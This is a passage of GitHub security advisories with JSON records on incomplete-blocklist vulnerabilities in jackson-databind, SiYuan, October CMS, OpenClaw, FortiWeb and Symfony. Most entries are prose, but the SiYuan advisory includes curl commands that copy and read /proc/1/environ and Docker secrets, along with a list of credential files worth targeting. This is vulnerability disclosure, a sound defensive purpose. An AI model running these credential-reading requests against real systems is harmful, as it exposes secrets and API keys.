        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-15095"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:38:56Z",
    "nvd_published_at": "2018-02-06T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "jackson-databind in versions prior to 2.8.11 and 2.9.4 contain a deserialization flaw which allows an unauthenticated user to perform code execution by sending maliciously crafted input to the readValue method of the ObjectMapper. This issue extends the previous flaw CVE-2017-7525, blacklisting additonal vulnerable classes.",
  "id": "GHSA-h592-38cm-4ggp",
  "modified": "2024-03-15T01:13:58Z",
  "published": "2018-10-18T17:42:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15095"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/1680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/1737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/a054585e2175ad0882f07bcafedecfac86230f1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/a3939d36edcc755c8af55bdc1969e0fa8438f9db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/ddfddfba6414adbecaff99684ef66eebd3a92e92"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/e865a7a4464da63ded9f4b1a2328ad85c9ded78b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/e8f043d1aac9b82eee907e0f0c3abbdea723a935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tolbertam/jackson-databind/commit/80566a0f96b2003863f9d8f9ccc3b562001e147b"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:3189"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/f095a791bda6c0595f691eddd0febb2d396987eec5cbd29120d8c629@%3Csolr-user.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/01/msg00037.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20171214-0003"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200401000000*/http://www.securityfocus.com/bid/103880"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20201221192044/http://www.securitytracker.com/id/1039769"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2017/dsa-4037"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:3190"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0342"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0478"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0479"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0480"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0481"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0576"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0577"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1447"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1448"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1449"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1450"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1451"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2927"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2858"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3149"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3892"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind vulnerable to deserialization flaw leading to unauthenticated remote code execution"
}

GHSA-H5VH-M7FG-W5H6

Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:58

Summary

SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets

Details

Summary

POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details

File: kernel/api/file.go - function globalCopyFiles

for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)

    if util.IsSensitivePath(absSrc) {
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}

IsSensitivePath blocklist (kernel/util/path.go):

prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

Docker secrets:

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'

Impact

An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:46:14Z",
    "nvd_published_at": "2026-03-19T21:17:10Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPOST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\nFile: kernel/api/file.go - function globalCopyFiles\n\n```go\nfor i, src := range srcs {\n    absSrc, _ := filepath.Abs(src)\n\n    if util.IsSensitivePath(absSrc) {\n        return\n    }\n    srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n    dest := filepath.Join(destDir, filepath.Base(src))\n    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace\n}\n```\n\nIsSensitivePath blocklist (kernel/util/path.go):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |\n| /run/secrets/* | Docker Swarm / Compose injected secrets |\n| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |\n| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |\n| /tmp/ | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}\u0027\n\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"path\":\"/data/assets/environ\"}\u0027 | tr \u0027\\0\u0027 \u0027\\n\u0027\n```\n\n**Docker secrets:**\n```bash\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}\u0027\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
  "id": "GHSA-h5vh-m7fg-w5h6",
  "modified": "2026-03-30T13:58:13Z",
  "published": "2026-03-16T18:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets"
}

GHSA-H6JM-F4HH-FW27

Vulnerability from github – Published: 2026-04-21 16:44 – Updated: 2026-04-24 21:08

Summary

October CMS has Safe Mode Bypass via Twig Database Write Operations

Details

A vulnerability was identified in the Twig sandbox security policy that allowed database write operations when cms.safe_mode is enabled. Backend users with Developer permissions could use Twig template markup to execute insert, update, and delete operations on any database table through the query builder, which is included in the sandbox allow-list.

Impact

Arbitrary database writes including modification or deletion of any table
Requires authenticated backend access with Developer permissions
Only relevant when cms.safe_mode is enabled (otherwise direct PHP injection is already possible)

Patches

The vulnerability has been patched in v3.7.14 and v4.1.10. Write operations such as insert, update, delete, and truncate are now blocked on query builder and model objects within the Twig sandbox. All users are encouraged to upgrade to the latest patched version.

Workarounds

If upgrading immediately is not possible: - Restrict Developer tool access to fully trusted administrators only

Reporter

Reported by Chris Alupului

Severity

6.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/october"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/october"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T16:44:19Z",
    "nvd_published_at": "2026-04-21T17:16:30Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in the Twig sandbox security policy that allowed database write operations when `cms.safe_mode` is enabled. Backend users with Developer permissions could use Twig template markup to execute insert, update, and delete operations on any database table through the query builder, which is included in the sandbox allow-list.\n\n### Impact\n- Arbitrary database writes including modification or deletion of any table\n- Requires authenticated backend access with Developer permissions\n- Only relevant when `cms.safe_mode` is enabled (otherwise direct PHP injection is already possible)\n\n### Patches\nThe vulnerability has been patched in v3.7.14 and v4.1.10. Write operations such as `insert`, `update`, `delete`, and `truncate` are now blocked on query builder and model objects within the Twig sandbox. All users are encouraged to upgrade to the latest patched version.\n\n### Workarounds\nIf upgrading immediately is not possible:\n- Restrict Developer tool access to fully trusted administrators only\n\n### Reporter\n- Reported by [Chris Alupului](https://github.com/neosprings)",
  "id": "GHSA-h6jm-f4hh-fw27",
  "modified": "2026-04-24T21:08:44Z",
  "published": "2026-04-21T16:44:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/security/advisories/GHSA-h6jm-f4hh-fw27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26274"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octobercms/october"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "October CMS has Safe Mode Bypass via Twig Database Write Operations"
}

GHSA-H7RF-PV8C-84MG

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31

Details

OpenClaw versions before 2026.6.1 contain a flaw in host exec environment filtering that could allow Git ext transport to be abused. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-62200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:51Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw versions before 2026.6.1 contain a flaw in host exec environment filtering that could allow Git ext transport to be abused. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller\u0027s intended authorization.",
  "id": "GHSA-h7rf-pv8c-84mg",
  "modified": "2026-07-14T00:31:04Z",
  "published": "2026-07-14T00:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9969-8g9h-rxwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62200"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-authentication-bypass-via-git-ext-transport"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HF6P-246F-W422

Vulnerability from github – Published: 2026-08-12 15:30 – Updated: 2026-08-12 15:30

Details

A incomplete list of disallowed inputs vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.2, FortiWeb 7.6.0 through 7.6.5, FortiWeb 7.4 all versions, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions may allow attacker to improper access control via

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-70466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T13:17:24Z",
    "severity": "MODERATE"
  },
  "details": "A incomplete list of disallowed inputs vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.2, FortiWeb 7.6.0 through 7.6.5, FortiWeb 7.4 all versions, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions may allow attacker to improper access control via \u003cinsert attack vector here\u003e",
  "id": "GHSA-hf6p-246f-w422",
  "modified": "2026-08-12T15:30:44Z",
  "published": "2026-08-12T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70466"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-157"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HF7P-489H-XHJ4

Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-11 18:31

Details

OpenClaw before 2026.4.20 contains a message classification vulnerability in Feishu card-action callbacks that misclassifies direct messages as group conversations. Attackers can bypass dmPolicy enforcement by triggering card-action flows in direct message conversations that should have been blocked by restrictive policies.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-44993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-11T18:16:39Z",
    "severity": "LOW"
  },
  "details": "OpenClaw before 2026.4.20 contains a message classification vulnerability in Feishu card-action callbacks that misclassifies direct messages as group conversations. Attackers can bypass dmPolicy enforcement by triggering card-action flows in direct message conversations that should have been blocked by restrictive policies.",
  "id": "GHSA-hf7p-489h-xhj4",
  "modified": "2026-05-11T18:31:46Z",
  "published": "2026-05-11T18:31:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-72q8-jcmc-97wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/90979d7c3ef7ec30b9f8aa6963a5e38d2f17d166"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-direct-message-misclassification-in-feishu-card-actions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HH6M-M25H-86WQ

Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-06 21:31

Details

OpenClaw before 2026.4.22 contains an exec allowlist analysis vulnerability allowing shell expansion hiding in unquoted heredoc bodies. Attackers can bypass allowlist validation by embedding shell expansion tokens in heredoc bodies to execute unapproved commands at runtime.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-44115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T20:16:35Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw before 2026.4.22 contains an exec allowlist analysis vulnerability allowing shell expansion hiding in unquoted heredoc bodies. Attackers can bypass allowlist validation by embedding shell expansion tokens in heredoc bodies to execute unapproved commands at runtime.",
  "id": "GHSA-hh6m-m25h-86wq",
  "modified": "2026-05-06T21:31:42Z",
  "published": "2026-05-06T21:31:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x3h8-jrgh-p8jx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/b2e8b7d4bb2f22eaa16f5c4b07547774e90b65a5"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-shell-expansion-bypass-in-unquoted-heredocs-via-exec-allowlist"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HHG7-C65M-H7FF

Vulnerability from github – Published: 2026-05-28 16:43 – Updated: 2026-05-28 16:43

Summary

Symfony's HtmlSanitizer UrlAttributeSanitizer Omits action/formaction/poster/cite — `javascript`: URI Survives Sanitization (XSS)

Details

Description

symfony/html-sanitizer lets applications sanitise untrusted HTML. UrlAttributeSanitizer is the visitor responsible for validating URL-valued attributes and stripping dangerous schemes from them; it runs on every element regardless of configuration. Whether an attribute is kept is decided by the element/attribute allow-list; validating the scheme of a URL attribute is solely UrlAttributeSanitizer's responsibility.

UrlAttributeSanitizer::getSupportedAttributes() returned only ['src', 'href', 'lowsrc', 'background', 'ping']. The HTML URL-valued attributes action (<form>), formaction (<button>, <input type=image>), poster (<video>) and cite (<blockquote>, <q>, <del>, <ins>) were missing from that list, so DomVisitor never invoked scheme validation for them. As a result, when a configuration admits one of those attributes, a javascript: URI in it survived sanitisation.

Conditions for exploitation

allowSafeElements() is not affected: <form> and the formaction attribute are both flagged unsafe in W3CReference, and allowElement('form') resets the element's attribute list. Reaching the vulnerable attributes requires a deliberately permissive configuration, for example:

<form> + action: allowElement('form', '*'), allowElement('form', ['action', …]), allowElement('form')->allowAttribute('action', 'form'), or the allowStaticElements() preset (whose docblock already warns the output "may still contain other dangerous behaviors");
<button> / <input type=image> + formaction: allowElement(…, '*'), allowAttribute('formaction', …), or allowStaticElements();
<blockquote> / <q> / <del> / <ins> + cite, or <video> + poster: similarly via '*', allowAttribute(), or allowStaticElements().

For the action / formaction cases the victim must additionally submit the form or click the button.

Resolution

UrlAttributeSanitizer now also handles action, formaction, cite and poster. action / formaction / cite are validated against the link schemes (like <a href>, so javascript: is rejected and data: is dropped too); poster is validated against the media schemes (so data: images keep working). The behaviour of <a href> and <img src> is unchanged.

One behaviour change to be aware of: a relative action="/submit" on an allowed <form> is now dropped by default (the same as <a href> / <img src> today); ->allowRelativeLinks() re-enables it.

The patch for this issue is available here for branch 6.4.

Credits

Symfony would like to thank Himanshu Anand and Rémi Pelloux for reporting the issue and Nicolas Grekas for providing the fix.

Severity

1.2 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/html-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/html-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/html-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T16:43:27Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Description\n\n`symfony/html-sanitizer` lets applications sanitise untrusted HTML. `UrlAttributeSanitizer` is the visitor responsible for validating URL-valued attributes and stripping dangerous schemes from them; it runs on every element regardless of configuration. Whether an attribute is *kept* is decided by the element/attribute allow-list; validating the *scheme* of a URL attribute is solely `UrlAttributeSanitizer`\u0027s responsibility.\n\n`UrlAttributeSanitizer::getSupportedAttributes()` returned only `[\u0027src\u0027, \u0027href\u0027, \u0027lowsrc\u0027, \u0027background\u0027, \u0027ping\u0027]`. The HTML URL-valued attributes `action` (`\u003cform\u003e`), `formaction` (`\u003cbutton\u003e`, `\u003cinput type=image\u003e`), `poster` (`\u003cvideo\u003e`) and `cite` (`\u003cblockquote\u003e`, `\u003cq\u003e`, `\u003cdel\u003e`, `\u003cins\u003e`) were missing from that list, so `DomVisitor` never invoked scheme validation for them. As a result, when a configuration admits one of those attributes, a `javascript:` URI in it survived sanitisation.\n\n### Conditions for exploitation\n\n`allowSafeElements()` is **not** affected: `\u003cform\u003e` and the `formaction` attribute are both flagged unsafe in `W3CReference`, and `allowElement(\u0027form\u0027)` resets the element\u0027s attribute list. Reaching the vulnerable attributes requires a deliberately permissive configuration, for example:\n\n* 